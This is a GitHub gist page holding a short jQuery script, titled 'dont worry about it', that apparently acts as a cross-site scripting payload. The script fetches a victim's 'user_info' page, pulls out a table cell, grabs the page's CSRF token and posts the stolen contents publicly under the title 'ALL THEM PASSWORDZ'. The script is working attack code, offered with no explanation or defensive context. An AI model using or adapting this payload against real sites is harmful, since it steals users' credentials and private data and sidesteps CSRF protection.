Skip to content

Instantly share code, notes, and snippets.

@v
Created August 25, 2012 20:36
Show Gist options
  • Save v/3470727 to your computer and use it in GitHub Desktop.
Save v/3470727 to your computer and use it in GitHub Desktop.
dont worry about it
$.ajax('user_info', {
success: function(response){
var result = $(response).find('td')[1].innerHTML;
var csrf = $('input[name="_csrf"]').val();
var data = {
title: 'ALL THEM PASSWORDZ',
body: encodeURIComponent(result),
_csrf: csrf
}
$.ajax('ajax/posts', {
type: 'POST',
data: data,
success: function(response) {
console.log("FUCK YEAH");
}
});
}
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment